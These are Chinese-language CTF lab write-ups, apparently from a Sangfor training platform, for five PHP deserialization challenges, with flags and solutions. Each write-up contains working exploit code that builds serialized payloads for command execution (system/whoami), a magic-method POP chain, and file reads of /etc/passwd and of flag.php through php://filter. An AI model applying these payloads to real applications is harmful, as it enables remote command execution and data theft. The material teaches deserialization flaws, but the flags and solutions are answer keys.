[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP反序列化命令执行 | 1 |
[题目考点]:
反序列化命令执行,获取题目flag。
[Flag格式]:
SangFor{t5euvZ_OB8Jd_h2-}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
[题目writeup]:
name赋值为system,$male赋值为whoami,即调用system(whoami)
<?php
class A{
public $name;
public $male;
}
$a = new A();
$a -> name = "system";
$a -> male = "whoami";
echo serialize($a);
?>
5、序列化结果:
6、最终结果:
[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP反序列化POP大链 | 2 |
[题目考点]:
通过多个类中不同的魔术方法,构造反序列化POP链,获取题目flag。
[Flag格式]:
SangFor{qMWi3Uhs1r2uX6FB}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
[题目writeup]:
实验主页
代码分析
1、首先通读代码,代码中存在6个类,每一个类中定义了两个变量,同时每个类中定义了不同的魔术方法。
__desctruct()
类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制。
__toString()
在对象当做字符串的时候会被调用
___call()
当所调用的成员方法不存在(或者没有权限)该类时调用,用于对错误后做一些操作或者提示信息
__invoke()
直接调用对象名当方法使用时,就调用的是__invoke()方法
2、我们的目标是获取flag,函数getFlag()在类getFlag类中,而__destruct()魔术方法可以作为POP链的触发点
3、通过构造POP链,把__destruct()函数作为触发点,getFlag()函数作为终止点,最终获取flag
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func //1
{
public $mod1; //string1
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1 //2
{
public $str1; //GetFlag
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag //3
{
public function get_flag()
{
echo "i,m ok xxxxxxxx";
}
}
$GetFlag = new GetFlag();
$func = new func();
$string1 = new string1();
$funct = new funct();
$Call = new Call();
$start_gg = new start_gg();
$start_gg->mod1 = $Call;
//pop链起始点
$Call->mod1 = $funct;
#类Call中的变量$mod1设置为funct的实例化对象,当调用$mod1中的test2()方法,funct类中并不存在test2()成员方法(函数),就会自动寻找魔术方法__call()并调用它
$funct->mod1 = $func;
#类funct中的mod1设置为类func的实例化对象,在代码中 $s1 = $this->mod1;$s1<==>$func类的实例化对象,$s1()是调用函数的方法,但现在$s1为类的实例化对象,所有会自动寻找并调用func类中的__invoke魔术方法
$func->mod1 = $string1;
#现在POP链执行了func中的魔术方法__invoke, $this->mod2 = "字符串拼接".$this->mod1;代码会被执行,其中$mod1被当作字符串处理,可以将$mod1设置为class string1的实例化对象,会自动搜索并调用类string1中的__string()魔术方法
$string1->str1 = $GetFlag;
#最后,将类string中的变量$str1设置为类GetFlag的实例化对象,会调用$this->str1->get_flag();获取flag
echo serialize($start_gg);
5、输出序列化内容为(红框内容不需要):
6、最终结果:
[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP反序列化pop链基础 | 1 |
[题目考点]:
PHP反序列化pop链基础
[Flag格式]:
SangFor{reIqYxxlWeD4bABr}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
[题目writeup]:
实验主页
代码分析
1、首先定义类A,类B
2、在类A中存在公有变量$classname和__destruct()魔术方法,在魔术方法中调用了类B中的read_file()函数
类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制
3、在类B中,定义了私有变量filename,同时,read_file()函数中存在file_get_contents()函数,并且参数为filename。
4、最后存在unserialize()函数,同时参数也可控
利用方法
1、实例化类A
2、并且将类A中的公有变量$classname赋值为类B的实例化对象
那么,当实例化类A的同时也实例化了类B
3、然后将类B中的私有变量$filename赋值所需读取文件名称
4、将实例化类A序列化并输出
5、最后将输出结果通过GET方式输入
<?php
class A{
public $classname;
}
class B{
private $filename="/etc/passwd";
}
$a = new A();
$a -> classname = new B();
echo urlencode(serialize($a));
?>
5、输出序列化内容为:
6、最终结果:
既然可以读取passwd文件,那么尝试读一下flag.php文件吧!
[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP反序列化基础-2 | 1 |
[题目考点]:
PHP反序列化基础2
[Flag格式]:
SangFor{8wTFrFxSKMzXM3ng}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
[题目writeup]:
实验主页
代码分析
1、首先定义类Ser
2、第二行定义公有变量 $name
3、存在魔术方法wakeup
当实例化的类反序列化时会自动触发__wakeup()魔术方法
4、在__wakeup函数中存在file_get_contents()函数,并且参数为name,可控(注意成员变量name为私有类型)
成员变量大致可以分为三类:
- public 共有类型
- private 私有类型
- protected 被保护类型
当成员变量为私有类型时,当$name被反序列化时,前后为%00。
如果不做处理,在cmd命令行中显示类似于空格,复制到url地址栏时会被转化为%20,也就是空格的url编码,所以需要将输出的结果进行url。
5、最后存在unserialize()函数,并且参数可控
利用方法
1、实例化类Ser
2、使用php://filter伪协议,$name赋值所需读取文件名称
3、将实例化类Ser序列化并输出
4、将输出结果通过GET方式输入
<?php
class Ser{
private $name = "php://filter/read=convert.base64-encode/resource=flag.php";
}
$a = new Ser();
echo urlencode(serialize($a));
?>
将base64进行解码。
[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP反序列化基础 | 1 |
[题目考点]:
1. PHP反序列化基础
[Flag格式]:
SangFor{k26Bj-V9ENIY7tBy}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
[题目writeup]:
实验主页
代码分析
1、首先定义类Ser
2、第二行定义公有变量 $name
3、存在魔术方法 __toString
当实例化的类被当作字符串处理时会自动触发__toString魔术方法
4、在__toString函数中存在file_get_contents()函数,并且参数为$name,可控
5、最后存在unserialize()函数,并且参数可控
利用方法
1、实例化类Ser
2、使用php://filter伪协议,$name赋值所需读取文件名称
3、将实例化类Ser序列化并输出
4、将输出结果通过GET方式输入
<?php
class Ser{
public $name = "php://filter/read=convert.base64-encode/resource=flag.php";
}
$a = new Ser();
echo serialize($a);
?>
将base64进行解码。